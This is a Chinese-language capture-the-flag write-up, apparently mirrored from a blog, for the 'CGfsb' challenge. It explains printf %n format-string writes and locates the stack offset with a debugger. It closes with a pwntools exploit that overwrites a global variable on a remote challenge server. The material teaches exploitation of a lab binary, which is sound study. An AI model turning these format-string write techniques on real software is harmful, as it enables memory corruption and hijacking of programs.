zoukankan      html  css  js  c++  java
  • CGfsb

    这里补充一下%n是代表向参数赋值打印的字符个数

    例如printf("AAAA%n",&a);

    代表的是向a写入4

    printf("AAAA%1n", &argu1)

    代表的是将打印字符的个数值写入参数1中.

    printf("AAAA%2$n", &argu1, &argu2, &argu3......)

    使用'$'符号来进行参数的选择

    代表的是将打印字符的个数写入参数2对应的地址内存中.

    来看一点实际的吧:

    a储存的时b的一个地址,将打印个数写入到第二个参数对应指向的内存中

    实现了.

    在堆栈中.printf中格式化字符窜'%p'  会打印第一个参数对应的值

    可以使用%p来计算偏移.   这里对于新手可能不太直观,我就使用edb调试给大家看

    咱们来看一下题:

    检查一下保护

    使用ida打开分析:

    逻辑是,怎样使用pwnme = 8即可.

    找到pwnme的地址

    记录一下地址,开始使用edb调试分析.按F9直接进入main函数

    输入一些%p打印第一个参数的内容,找偏移

    跟进printf中:

    打印出

    打印的值为第一个参数和第二第三参数的值,查看堆栈窗口.找一下偏移

    从ff83b2de到44434241有9偏移,而个数是从1计数的所以偏移为10.

    在这里,我们只需想法设法把ff83b2e8里对应的值该为目标对应修改地址,然而第二次输入时直接输入即可     p32(pwnme addr)

    然后再调一下打印个数即可修改对目标pwnme值进行修改

    即payload = p32(pwnme addr) + '%10$'

    有人可能会问,为啥把地址写在前面,因为输入的地方就离printf第一个参数偏移位10的地方,地址就直接写在那就行了,其实你也可以写在后面,那得重新计算偏移即可

    重新调试:输入偏移为10

    直接运行结束,因为0x44434241地址不可写入

    我们将该值在堆栈里修改一下,为0x 0804a068

    运行一下:

    成功将pwnme值修改为4

    好开始利用漏洞,exp

    #! bin/python

    from pwn import *
    sh = process("./CGfsb")
    sh = remote("111.198.29.45",36339)
    sh.recvuntil("please tell me your name: ")
    payload = 'Logan'
    sh.sendline(payload)

    sh.recvuntil("leave your message please: ")
    addr = 0x0804A068 # addr of pwnme
    payload = p32(addr) +'AAAA'+ '%10$n'  
    sh.sendline(payload)
    sh.interactive()

    #sh.close()

    可能有人会问,为啥要填充4个A?  因为p32(addr)占4个字节,若想让pwnme等于8,那还差4个字节,随便填充4个字节就好了

  • 相关阅读:
    C++的常量折叠(一)
    如何写面向互联网公司的求职简历
    所有的程序员都是自学成才
    [一个经典的多线程同步问题]解决方案一:关键段CS
    [一个经典的多线程同步问题]问题引入
    多线程笔记--原子操作Interlocked系列函数
    【分治法】归并分类
    内存字节对齐一网打尽,再也不纠结
    在C语言中基本数据类型所占的字节数
    多线程笔记--先了解工具
  • 原文地址:https://www.cnblogs.com/lyxf/p/12064395.html
Copyright © 2011-2022 走看看